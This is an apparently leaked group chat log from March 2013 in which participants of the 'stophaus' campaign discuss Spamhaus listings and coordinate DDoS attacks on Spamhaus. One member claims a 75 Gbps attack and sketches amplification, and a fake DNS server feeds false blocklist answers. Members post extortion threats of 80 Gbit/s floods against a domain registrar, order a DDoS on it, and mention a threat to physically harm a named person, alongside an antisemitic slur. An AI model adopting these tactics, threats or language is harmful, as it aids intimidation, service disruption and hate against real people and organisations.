5515[21.03.2013 13:24:10] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: there are plenty of better alternatives.
5516[21.03.2013 13:24:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: that , and an rbl won't work anyway
5517[21.03.2013 13:36:12] Yuri: wake up
5518[21.03.2013 13:36:32] Yuri: looks spamhaus was not able to close stophaus at corbina.
5519we see one listing /24 removed
5520[21.03.2013 13:36:40] Yuri: and one Citadel SBL removed.
5521[21.03.2013 13:36:44] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i think corbina told em to go to hell
5522[21.03.2013 13:36:48] Yuri: but other one Citadel added.
5523[21.03.2013 13:36:48] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and called their attorney
5524[21.03.2013 13:37:04] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: if they have insurance for court cases that would be the easiest thing to do :P
5525[21.03.2013 13:37:06] Yuri: looks some customers plays with some sort of viruses.
5526[21.03.2013 14:01:14] Cali: someone attacks spamhaus.org right now?
5527[21.03.2013 14:01:30] Yuri: This website is offline
5528No cached version is available
5529[21.03.2013 14:04:24] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: maybe they ran into some eh legal issues :P
5530[21.03.2013 14:04:42] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: its up from here.
5531[21.03.2013 14:04:48] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: unfortunately.
5532[21.03.2013 14:10:54] Yuri: today SBLs show that they add only some malware
5533[21.03.2013 14:11:03] Yuri: so looks some their sources are not active
5534[21.03.2013 14:11:37] Yuri: Sven, can you find where do the get infromation about malware?
5535they have a lot of SBLs about Citadel (what's that?)
5536[21.03.2013 14:11:49] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: a botnet
5537[21.03.2013 14:12:10] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: some open source spy botnet thing
5538[21.03.2013 14:15:03] Yuri: looks spamhaus pissed off
5539they try to piss everywhere
5540[21.03.2013 14:15:07] Yuri: SBL179470
5541217.65.0.0/22 citytelecom.ru
554221-Mar-2013 11:59 GMT
5543Spammer hosting (escalation)
5544[21.03.2013 14:15:30] narko: is this for providing connectivity to 2x4?
5545[21.03.2013 14:15:35] narko: or another
5546[21.03.2013 14:15:41] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: no this is for being russians haha
5547[21.03.2013 14:15:46] narko: lol
5548[21.03.2013 14:16:00] Yuri: he provide us and some others.
5549[21.03.2013 14:16:02] NM: i cant open their site
5550[21.03.2013 14:42:49] Yuri: i found why
5551------------------
5552spamahost wrote yesturday in facebook.
5553One of our VPS nodes is undergoing a node transfer. We are moving the "Zeus" node to a different upstream (which now supports full emailing!), as well as upgraded hardware. Please check your emails for more information, as well as your client areas!
5554
5555and his website was on our network.
5556[21.03.2013 14:42:57] Yuri: so spamhaus pissed on it.
5557[21.03.2013 14:52:03] narko: who is adding these blacklists?
5558[21.03.2013 14:52:09] narko: steve linford? or a worker
5559[21.03.2013 14:52:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: the 'escalation/blackmail' ones probably is linford himself
5560[21.03.2013 14:52:44] narko: we need to find the company that provides the sattellite internet to his boat
5561[21.03.2013 14:52:48] narko: and send them the 120gbps ddos :P
5562[21.03.2013 15:09:10] Antitheist: http://www.spamhaus.org/sbl/latest/
5563[21.03.2013 15:09:16] Antitheist: they are highly after ddos bots now
5564[21.03.2013 15:09:23] Antitheist: probably an act of revenge
5565[21.03.2013 15:09:29] narko: lol
5566[21.03.2013 15:09:34] narko: Brobot
5567[21.03.2013 15:09:35] narko: nice name
5568[21.03.2013 15:09:51] narko: SBL125774 91.217.178.0/24 RIPE
556921-Mar 12:57 GMT 2x4.ru Bulletproof Hosting Services via AS29076
5570[21.03.2013 15:12:36] Antitheist: wow. literally 30 SBLs for ddos bots in the last 2 hours
5571[21.03.2013 15:13:53] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: the ddos is the last thing that should worry them at this point.
5572[21.03.2013 15:14:00] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: still polluting their dns
5573[21.03.2013 15:14:20] narko: what is it doing?
5574[21.03.2013 15:14:34] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: giving out 127.0.0.2 with TXT to our attack claim on the forum
5575[21.03.2013 15:14:44] narko: lol
5576[21.03.2013 15:14:52] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: on -all- ips
5577[21.03.2013 15:14:57] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and domain block list crap
5578[21.03.2013 15:15:49] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: Writing response - done
5579Waiting for connections...
5580UDP connection from 195.20.8.120:52969 to xxxxxxxxxxxxxxx
5581query 60984: (belastingdienst.nl.dbl.spamhaus.org, IN, A) - Received query from 195.20.8.120 to xxxxxxxxxxxx
5582;; HEADER SECTION
5583;; id = 60984
5584;; qr = 0 opcode = QUERY aa = 0 tc = 0 rd = 0
5585;; ra = 0 ad = 0 cd = 0 rcode = NOERROR
5586;; qdcount = 1 ancount = 0 nscount = 0 arcount = 1
5587
5588;; QUESTION SECTION (1 record)
5589;; belastingdienst.nl.dbl.spamhaus.org. IN A
5590
5591;; ANSWER SECTION (0 records)
5592
5593;; AUTHORITY SECTION (0 records)
5594
5595;; ADDITIONAL SECTION (1 record)
5596; EDNS Version 0 UDP Packetsize: 4096
5597; EDNS-RCODE: 0 (ONLY_RDATA)
5598; EDNS-FLAGS: 0x8000
5599
5600
5601NOERROR
5602;; id = 60984
5603;; qr = 1 opcode = QUERY aa = 1
5604[21.03.2013 15:15:52] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: nice one :P
5605[21.03.2013 15:16:01] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: "dutch tax department shitlisted"
5606[21.03.2013 15:16:02] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P
5607[21.03.2013 15:16:07] narko: (cool)
5608[21.03.2013 15:16:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hotmail,gmail, etc ofcourse already got cached in the first minute :P
5609[21.03.2013 15:16:46] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: see -my- expirytime is set to a week, theirs to 300 secs
5610[21.03.2013 15:17:08] narko: lol
5611[21.03.2013 15:17:13] narko: i go to feed my addiction to chinese food now.brb
5612[21.03.2013 15:17:40] narko: when i'm back in few minutes. let's ddos some more shit
5613[21.03.2013 15:17:41] narko: (hug)
5614[21.03.2013 15:33:45] Cali: Do we have a list of public mail services using spamhuas lists?
5615[21.03.2013 15:34:41] Yuri: yahoo.com aol.com hotmail.com
5616[21.03.2013 15:34:52] Yuri: and some email servers that are work in cpanel as i remember
5617[21.03.2013 15:35:53] Goo: HAHAHAHAHAH
5618[21.03.2013 15:35:57] Goo: CB3ROB
5619[21.03.2013 15:35:59] Goo: CHECK THIS
5620[21.03.2013 15:36:00] Goo: https://www.security.nl/artikel/45594/1/DDoS-aanval_van_75Gbps_op_Spamhaus_afgeslagen.html
5621[21.03.2013 15:36:26] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yeah i know, we did that.
5622[21.03.2013 15:36:51] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: en nee.. daar hebben we geen 'open dns resolvers' voor nodig, dat gaat met iedere nameserver.
5623[21.03.2013 15:36:54] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: desnoods hun eigen
5624[21.03.2013 15:36:55] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
5625[21.03.2013 15:37:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: zolang de packet die je er heen stuurt maar kleiner is dan wat ze terug sturen :P
5626[21.03.2013 15:37:30] Goo: ik moest lachen
5627[21.03.2013 15:37:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: of zoals bij de eveneens gebruikte tcp attack... zolang ze maar een -paar- synacks sturen voor iedere syn packet die je stuurt
5628[21.03.2013 15:37:32] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P
5629[21.03.2013 15:38:54] narko: hotmail is ok with spamhaus
5630[21.03.2013 15:38:56] narko: they don't block mail
5631[21.03.2013 15:39:08] narko: I had signup yesterday from a hotmail address, it went to spam , but it did not get blocked
5632[21.03.2013 15:41:16] Cali: btw, this is weird because I have just tried to send emails to @hotmail.com and they are not sent to junk.
5633[21.03.2013 15:41:44] narko: mine went to junk before spamhaus
5634[21.03.2013 15:41:49] narko: whmcs setup emails 90% go to junk :P
5635[21.03.2013 15:41:52] Yuri: we have to remove right now spamahost.com customer's domain
5636[21.03.2013 15:42:11] narko: what is the problem?
5637[21.03.2013 15:42:12] Yuri: Cali, do you have some servers for rent?
5638[21.03.2013 15:42:20] Yuri: spamhaus pissed on our upstream
5639[21.03.2013 15:42:50] Cali: Hum, we had a lot of orders yesterday so I think that we need more hardware now.
5640[21.03.2013 15:42:53] Cali: so it could take some days.
5641[21.03.2013 15:43:25] Yuri: hm... much orders? cool. :)
5642[21.03.2013 15:43:48] Òðûõрøù Ûёûøý: )
5643[21.03.2013 15:44:14] Yuri: valera want more orders too.
5644[21.03.2013 15:44:28] Òðûõрøù Ûёûøý: lol
5645[21.03.2013 15:44:32] Yuri: heh... SH moved one out netblock to RIPE, wtf...
5646[21.03.2013 15:44:41] Òðûõрøù Ûёûøý: ?
5647[21.03.2013 15:44:42] Òðûõрøù Ûёûøý: show
5648[21.03.2013 15:44:45] narko: this means RIPE will suspend it?
5649[21.03.2013 15:45:04] narko: lol
5650[21.03.2013 15:45:04] narko: http://www.spamhaus.org/sbl/listings/ecatel.net
5651[21.03.2013 15:45:10] narko: they added 2x /24 of ecatel too
5652[21.03.2013 15:45:18] narko: oops
5653[21.03.2013 15:45:20] narko: thats old listings
5654[21.03.2013 15:45:47] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ripe can't suspend netblocks
5655[21.03.2013 15:45:59] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: there is no procedure to do that and the members will never agree on one
5656[21.03.2013 15:45:59] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P
5657[21.03.2013 15:46:06] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: its been done only -once-
5658[21.03.2013 15:46:08] narko: there was some suspended
5659[21.03.2013 15:46:10] narko: of a huge abuser
5660[21.03.2013 15:46:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: with the dnschanger case
5661[21.03.2013 15:46:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: on blackmail by the police
5662[21.03.2013 15:46:25] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and even then ripe made a case out of it
5663[21.03.2013 15:46:26] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and won
5664[21.03.2013 15:46:32] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: it went all the way to government
5665[21.03.2013 15:46:33] Yuri: yah buy that realy means that they will not let this BLOCK run anywhere
5666[21.03.2013 15:46:35] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ips cannot be revoked
5667[21.03.2013 15:46:43] Yuri: ips could not. but you can't use them
5668[21.03.2013 15:47:08] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: whats spamhaus going to do? list ripe.net ? hahaha
5669[21.03.2013 15:47:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: that'd make the dusty nerds block spamhaus quite rapidly
5670[21.03.2013 15:47:22] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
5671[21.03.2013 15:47:48] Yuri: no. but we just lost the block...
5672[21.03.2013 15:48:05] Yuri: we need to do new connections to IXes
5673[21.03.2013 15:48:09] Yuri: from other AS
5674[21.03.2013 15:48:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yeah so you go set that up
5675[21.03.2013 15:48:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: people from our group are already on nl-ix, amsix, decix
5676[21.03.2013 15:48:35] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: we need people on linx, msk-ix, etc
5677[21.03.2013 15:48:41] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and we just all relay each other.
5678[21.03.2013 15:48:54] Yuri: afk 30 min
5679[21.03.2013 15:48:54] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: tadaa... no more transits needed
5680[21.03.2013 16:23:23] narko: http://www.webhostingtalk.com/showpost.php?p=8610372&postcount=7
5681[21.03.2013 17:19:40] Antitheist: spamhaus are testing corbina.ru
5682[21.03.2013 17:19:50] Antitheist: /24 a day...to see if that stresses them away
5683[21.03.2013 17:19:51] Antitheist: http://www.spamhaus.org/sbl/query/SBL179394
5684[21.03.2013 17:19:53] eDataKing: I see that
5685[21.03.2013 17:20:12] Yuri: hey... they put that sbl back
5686[21.03.2013 17:20:18] Yuri: today day it was no that sbl
5687[21.03.2013 17:20:21] Yuri: but now it's back
5688[21.03.2013 17:20:29] narko: wtf
5689[21.03.2013 17:22:45] Yuri: hm... may be we need wiki for spamhaus ?
5690[21.03.2013 17:22:58] Cali: Btw, guys.
5691[21.03.2013 17:23:10] eDataKing: Yuri, send me a new MySQL db details and I'll throw up a wiki
5692[21.03.2013 17:23:13] Cali: I believe it is lame to say "spamhaus zionist blah blah"
5693[21.03.2013 17:23:19] Antitheist: eDataKing do we have SRxx2name database?
5694[21.03.2013 17:23:21] eDataKing: I am adding my data to the forum today (if I can...it is slow)
5695[21.03.2013 17:23:24] Cali: We should do that properly.
5696[21.03.2013 17:23:28] Antitheist: dig SR01 stophaus.com
5697[21.03.2013 17:23:30] Antitheist: lol
5698[21.03.2013 17:23:56] Antitheist: i saw all of them, SR32 is the biggest
5699[21.03.2013 17:24:15] Antitheist: probably half are just nanae trolls
5700[21.03.2013 17:24:39] eDataKing: also, almost 100 people will be tweeting the SBL database dump today and the press releases are submitted. Pending editor review
5701[21.03.2013 17:24:57] eDataKing: so SR32 is the high man?
5702[21.03.2013 17:25:07] Antitheist: no, SR32 is the malware one
5703[21.03.2013 17:25:11] eDataKing: SR01 wouldn't be listing escalations then right?
5704[21.03.2013 17:25:18] eDataKing: ok, gotcha
5705[21.03.2013 17:25:18] Antitheist: i meant i saw all from SR01 to SR32
5706[21.03.2013 17:25:21] Antitheist: max is SR32
5707[21.03.2013 17:25:23] eDataKing: ok
5708[21.03.2013 17:25:32] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ip as-path access-list aspfl-internal-as34109 permit .*
5709ip as-path access-list friends-transit permit ^$
5710ip as-path access-list friends-transit permit _5612$
5711ip as-path access-list friends-transit permit _12327$
5712ip as-path access-list friends-transit permit _51787$
5713ip as-path access-list friends-transit permit _57685$
5714ip as-path access-list friends-transit permit _199079$
5715ip as-path access-list friends-transit permit _34109$
5716ip as-path access-list friends-transit permit _50352$
5717ip as-path access-list friends-transit permit _31407$
5718ip as-path access-list friends-transit permit _15686$
5719ip as-path access-list friends-transit permit _50601$
5720ip as-path access-list friends-transit permit _42989$
5721ip as-path access-list friends-transit permit _52027$
5722ip as-path access-list friends-transit permit _58001$
5723ip as-path access-list friends-transit permit _51699$
5724ip as-path access-list friends-transit permit _197812$
5725ip as-path access-list friends-transit permit _56598$
5726ip as-path access-list friends-transit permit _50113$
5727ip as-path access-list friends-transit permit _57683$
5728ip as-path access-list friends-transit permit _1198$
5729ip as-path access-list friends-transit permit _8402$
5730[21.03.2013 17:25:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: added.
5731[21.03.2013 17:27:11] eDataKing: getting errors and timeouts on the forum often
5732[21.03.2013 17:29:43] Yuri: we reconfig one proxy vps
5733[21.03.2013 17:29:46] Yuri: soon fixed
5734[21.03.2013 17:34:50] narko: wtf
5735[21.03.2013 17:34:57] narko:
5736Searching for stophaus.com. A record at a.gtld-servers.net. [192.5.6.30] ...took 136 ms
5737
5738Nameserver a.gtld-servers.net. reports: No such host stophaus.com
5739[21.03.2013 17:35:04] narko: Firefox can't find the server at stophaus.com.
5740[21.03.2013 17:35:18] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: because there is no A record on a gtld server...
5741[21.03.2013 17:35:21] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: NS records...
5742[21.03.2013 17:35:35] narko: Domain Name: STOPHAUS.COM
5743
5744Abuse email: abuse@ahnames.com
5745
5746DOMAIN SUSPENDED DUE TO VIOLATION OF OUR TOS
5747
5748[21.03.2013 17:35:41] Antitheist: fuckers
5749[21.03.2013 17:35:42] narko: fuck! how they did this
5750[21.03.2013 17:35:56] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hmm?
5751[21.03.2013 17:35:57] Antitheist: who are ahnames?
5752[21.03.2013 17:36:02] narko: advanced hosters ltd
5753[21.03.2013 17:36:13] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: say what
5754[21.03.2013 17:36:18] narko: the domain is suspended
5755[21.03.2013 17:36:22] narko: by the registrar
5756[21.03.2013 17:36:45] Antitheist: what kind of a shit registrar was it
5757[21.03.2013 17:36:59] narko: www.ahnames.com
5758[21.03.2013 17:37:03] Antitheist: webnames.ru or naunet.ru are pissing on spamhaus
5759[21.03.2013 17:37:13] Antitheist: had to get domain from them
5760[21.03.2013 17:37:19] narko: well now nothing can be done
5761[21.03.2013 17:37:21] Antitheist: its still possible to transfer
5762[21.03.2013 17:37:37] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: then do so
5763[21.03.2013 17:37:44] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: to -their- domain registrar :P
5764[21.03.2013 17:37:56] narko: gandi is a bad registrar
5765[21.03.2013 17:38:00] Antitheist: no tos was violated, its bullshit
5766[21.03.2013 17:38:02] narko: they charge too much money
5767[21.03.2013 17:38:02] narko: :P
5768[21.03.2013 17:38:25] Antitheist: unless its replica and not allowed by icann
5769[21.03.2013 17:38:30] narko: does the telecommunications law on terminating services not apply to domain then?
5770[21.03.2013 17:38:47] Goo: just reg another domain
5771[21.03.2013 17:38:48] Goo: easy
5772[21.03.2013 17:38:58] Antitheist: this domain is already PRed
5773[21.03.2013 17:39:07] Goo: stophaus1.ch stophaus2.ch etc etc lol
5774[21.03.2013 17:39:08] narko: we have another. stophaus.ru but it's not good to change the domain..
5775[21.03.2013 17:39:13] Antitheist: transfer it
5776[21.03.2013 17:39:24] Antitheist: where's eDataKing
5777[21.03.2013 17:39:32] narko: away
5778[21.03.2013 17:40:53] Antitheist: narko, maybe you can make ahnames consider to move to cloudflare as well? (angel)
5779[21.03.2013 17:41:34] narko: i don't have any relationship with ahnames
5780[21.03.2013 17:41:45] narko: i dont know why they are suspended. ahnames did not get added to SBL at any time
5781[21.03.2013 17:42:04] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: Sven Olaf Kamphuisposted toAdvancedHosters
57822 shots o' rum ago
5783Domain Name: STOPHAUS.COM
5784
5785Abuse email: abuse@ahnames.com
5786
5787DOMAIN SUSPENDED DUE TO VIOLATION OF OUR TOS
5788Arr! · · Promote
5789
5790 Sven Olaf Kamphuis wtf! censorship because that stinking jewish rat of spamhaus tells you to without a court oder?
5791 'bout a shot o' rum ago · Arr!
5792 Sven Olaf Kamphuis you either turn it back on asp or you're the next target.
5793 'bout a shot o' rum ago · Arr!
5794 Sven Olaf Kamphuis where in your tos exactly does it state that being at war with a shady limited on the bahamas pretending to be 'spam fighters' can result in your communications being hindered by ahnames?!. elaborate, and do so QUICKLY.
5795 a few grains o' sand ago · Arr!
5796 Scrawl...
5797[21.03.2013 17:42:10] Antitheist: they were probably contacted by linfords dogs
5798[21.03.2013 17:42:13] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: thats how we solve that :P
5799[21.03.2013 17:42:20] narko: lol
5800[21.03.2013 17:42:22] narko: where is this?
5801[21.03.2013 17:42:24] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i doubt they want 75gbit up their ass
5802[21.03.2013 17:42:27] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: their facebook profile
5803[21.03.2013 17:42:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: first post.
5804[21.03.2013 17:42:44] narko: i can view the dialogue without an account on fb?
5805[21.03.2013 17:42:58] narko: well i see their page
5806[21.03.2013 17:42:58] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP:http://www.facebook.com/pages/AdvancedHosters/163746600313667?ref=ts&fref=ts
5807[21.03.2013 17:43:00] narko: but your post is not on it
5808[21.03.2013 17:43:01] narko: :P
5809[21.03.2013 17:43:02] narko: oh
5810[21.03.2013 17:43:05] narko: AdvancedHosters
5811[21.03.2013 17:43:07] narko: I looked at AHNames
5812[21.03.2013 17:43:11] narko: https://www.facebook.com/ahnames
5813[21.03.2013 17:43:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: not the same one? lol
5814[21.03.2013 17:43:32] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: fail
5815[21.03.2013 17:43:42] narko: it's the same company
5816[21.03.2013 17:43:57] narko:http://www.facebook.com/pages/AdvancedHosters/163746600313667?ref=ts&fref=ts i don't see your message here
5817[21.03.2013 17:44:01] narko: the latest message is
5818[21.03.2013 17:44:04] narko: eee bu nedi eee bu nedi eee
5819[21.03.2013 17:44:24] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hmm
5820[21.03.2013 17:44:26] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: odd
5821[21.03.2013 17:46:33] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: Domain Name: STOPHAUS.COM
5822
5823Abuse email: abuse@ahnames.com
5824
5825DOMAIN SUSPENDED DUE TO VIOLATION OF OUR TOS
5826Arr! · · Promote
5827
5828now turn it back on before we send those 80gbit/s down your ass.
5829[21.03.2013 17:47:02] narko: you have very big balls
5830[21.03.2013 17:47:12] narko: writing ddos threads on facebook? I would not even do that and I am the person doing th attacks :P lol
5831[21.03.2013 17:47:21] narko: threats *
5832[21.03.2013 17:47:33] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: who cares, they just ddossed us :P
5833[21.03.2013 17:47:40] Yuri: most men in this chat are with big balls.
5834[21.03.2013 17:47:40] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: by disabling the domain without a proper excuse
5835[21.03.2013 17:47:44] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so might as well disable theirs
5836[21.03.2013 17:47:53] eDataKing: what's wrong with ahnames?
5837[21.03.2013 17:47:56] eDataKing: what did they do?
5838[21.03.2013 17:47:59] narko: they banned the domain
5839[21.03.2013 17:48:01] Yuri: did somebody stoped our domain ?
5840[21.03.2013 17:48:02] narko: suspended it
5841[21.03.2013 17:48:09] Yuri: wtf
5842[21.03.2013 17:48:10] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: actually i threattened to have steve linford terminated physically a minute before that on my own profile
5843[21.03.2013 17:48:11] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
5844[21.03.2013 17:48:14] Yuri: we could change to RU
5845[21.03.2013 17:48:17] Yuri: stophaus.ru
5846[21.03.2013 17:48:19] Goo: xD
5847[21.03.2013 17:48:19] eDataKing: then we should hit them
5848[21.03.2013 17:48:21] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: just call them and have em turn it back on
5849[21.03.2013 17:48:26] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: or else we take THEM down
5850[21.03.2013 17:48:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: simple as that
5851[21.03.2013 17:48:32] narko: we need .com back because it's already in google, linked in pages, etc
5852[21.03.2013 17:48:32] eDataKing: suspending the domain is a direct challenge
5853[21.03.2013 17:48:41] eDataKing: yes, the .com needs up
5854[21.03.2013 17:49:01] eDataKing: We need to contact ahnames and tell them to allow us to transfer the domain
5855[21.03.2013 17:49:06] Yuri: we need to transfer it to nic.ru
5856[21.03.2013 17:49:07] eDataKing: they have allowed it before
5857[21.03.2013 17:49:13] Yuri: they not slose it.
5858[21.03.2013 17:49:16] narko: domain transfer takes 5-6 days
5859[21.03.2013 17:49:18] Yuri: they have balls
5860[21.03.2013 17:49:21] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: im going to announce ALL of their motherfucking nameservers.
5861[21.03.2013 17:49:25] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: need to make some changes
5862[21.03.2013 17:49:27] Yuri: ok
5863[21.03.2013 17:49:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hmm wait better not do that lol
5864[21.03.2013 17:49:40] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: that ehm would cost us quite a few peerings haha
5865[21.03.2013 17:49:49] eDataKing: no, it is way faster
5866[21.03.2013 17:49:58] narko: it doesnt mtater
5867[21.03.2013 17:50:00] narko: matter
5868[21.03.2013 17:50:04] narko: you are already offline from most locations
5869[21.03.2013 17:50:05] narko: :))
5870[21.03.2013 17:50:27] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: they responded
5871[21.03.2013 17:50:50] narko: facebook asks me to log in to see it
5872[21.03.2013 17:50:51] narko: what a joke
5873[21.03.2013 17:50:56] narko: i will never register to that site
5874[21.03.2013 17:51:50] eDataKing: if we show them that we will not tolerate them playing spamhaus games they may see that it could cost them to do so
5875[21.03.2013 17:52:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: Sven Olaf Kamphuis how about, its not a question, we know damn well that steve linford of spamhaus has been spreading lies again, this here undermines our freedom of speech, after all there is nothing on that forum that isn't done 904903 times as much by spamhaus itself... so, if you're not with us, you're against us. turn it back on or we turn YOU OFF.
5876a few grains o' sand ago · Arr!
5877Sven Olaf Kamphuis there is no clause in your TOS that states you have to be friends with 'spamhaus'
5878a few grains o' sand ago · Arr!
5879Sven Olaf Kamphuis so take your pick... 80gbit/s up your ass, orrrr... turning the domain back on
5880a few grains o' sand ago · Arr!
5881[21.03.2013 17:52:25] eDataKing: perfect Sven
5882[21.03.2013 17:52:29] eDataKing: that is what they need to hear
5883[21.03.2013 17:53:01] Yuri: stophaus.org also our domain?
5884[21.03.2013 17:53:17] Goo: haha nice sven
5885[21.03.2013 17:53:22] Goo: they will be scared
5886[21.03.2013 17:53:32] Goo: otherwise they're fucked haha
5887[21.03.2013 17:53:56] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: send them a few packets so they know
5888[21.03.2013 17:54:03] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: narko: ddos on that ahnames for like 1 minute
5889[21.03.2013 17:54:04] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P
5890[21.03.2013 17:54:05] Yuri: also .to - they will not close, they ignore everything
5891[21.03.2013 17:54:30] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: we;re not gonna change the god damn domain name
5892[21.03.2013 17:54:35] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: we're gonna make them turn it back on
5893[21.03.2013 17:54:37] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: simple as that.
5894[21.03.2013 17:56:16] Goo: i'm bored, shall i hack spamhaus?
5895[21.03.2013 17:56:27] Yuri: +1
5896[21.03.2013 17:56:39] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: goo: sure :P
5897[21.03.2013 17:56:44] Goo: alright
5898[21.03.2013 17:56:48] Goo: Goo grabs some donuts
5899[21.03.2013 17:56:55] Goo: let do this
5900[21.03.2013 17:57:34] eDataKing: ok, I just collabed with my buddy here he has a good sugg.
5901[21.03.2013 18:15:24] Cali: your stophaus is offline.
5902[21.03.2013 18:15:25] Cali: what happened?
5903[21.03.2013 18:15:37] narko: the domain got suspended by the registrar
5904[21.03.2013 18:15:47] Cali: lame.
5905[21.03.2013 18:15:50] Òðûõрøù Ûёûøý: fuck
5906[21.03.2013 18:16:07] Cali: but you should have never registered a .com
5907[21.03.2013 18:16:18] Òðûõрøù Ûёûøý: ch
5908[21.03.2013 18:16:19] Òðûõрøù Ûёûøý: ?
5909[21.03.2013 18:16:23] Antitheist: its not about the tld its about the registrar
5910[21.03.2013 18:16:55] Antitheist: normal registrar will not suspend domains because of some stupid threats
5911[21.03.2013 18:17:33] Yuri: Cali, go other chat
5912[21.03.2013 18:17:40] Yuri: new one
5913[21.03.2013 18:17:43] Cali: well if it has not been suspended by the .tld then that's even more lame.
5914[21.03.2013 18:17:53] Cali: new one?
5915[21.03.2013 18:18:25] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: as far as i recall marco rinaudo ran a registrar...
5916[21.03.2013 18:42:32] Valeriy Uhov: today spamhaus very angry
5917[21.03.2013 18:42:37] Valeriy Uhov: lists everybody
5918[21.03.2013 18:43:00] narko: yes they listed /25 of hostkey and /25 of burstnet
5919[21.03.2013 18:43:02] narko: really angry :D
5920[21.03.2013 18:43:14] eDataKing: yeah, they are definitely fighting back
5921[21.03.2013 18:43:18] Yuri: spamhaus should be blind
5922[21.03.2013 18:43:39] Yuri: we can make a lit what spamhaus can;t close
5923[21.03.2013 18:43:44] eDataKing: but why wouldn't they...this is very likely to be their version of Custard's Last Stand
5924[21.03.2013 18:44:11] Yuri: like twitter, email account, icq, facebook, home LAN ADSL IP, domains in the next zones like .ru, .su, .to
5925[21.03.2013 18:44:27] Valeriy Uhov: .ru and .su it closes
5926[21.03.2013 18:44:39] Yuri: if botnets- yes. its ok.
5927[21.03.2013 18:44:45] Yuri: but for other things - they can't close.
5928[21.03.2013 18:44:49] Yuri: my layer is the guard.
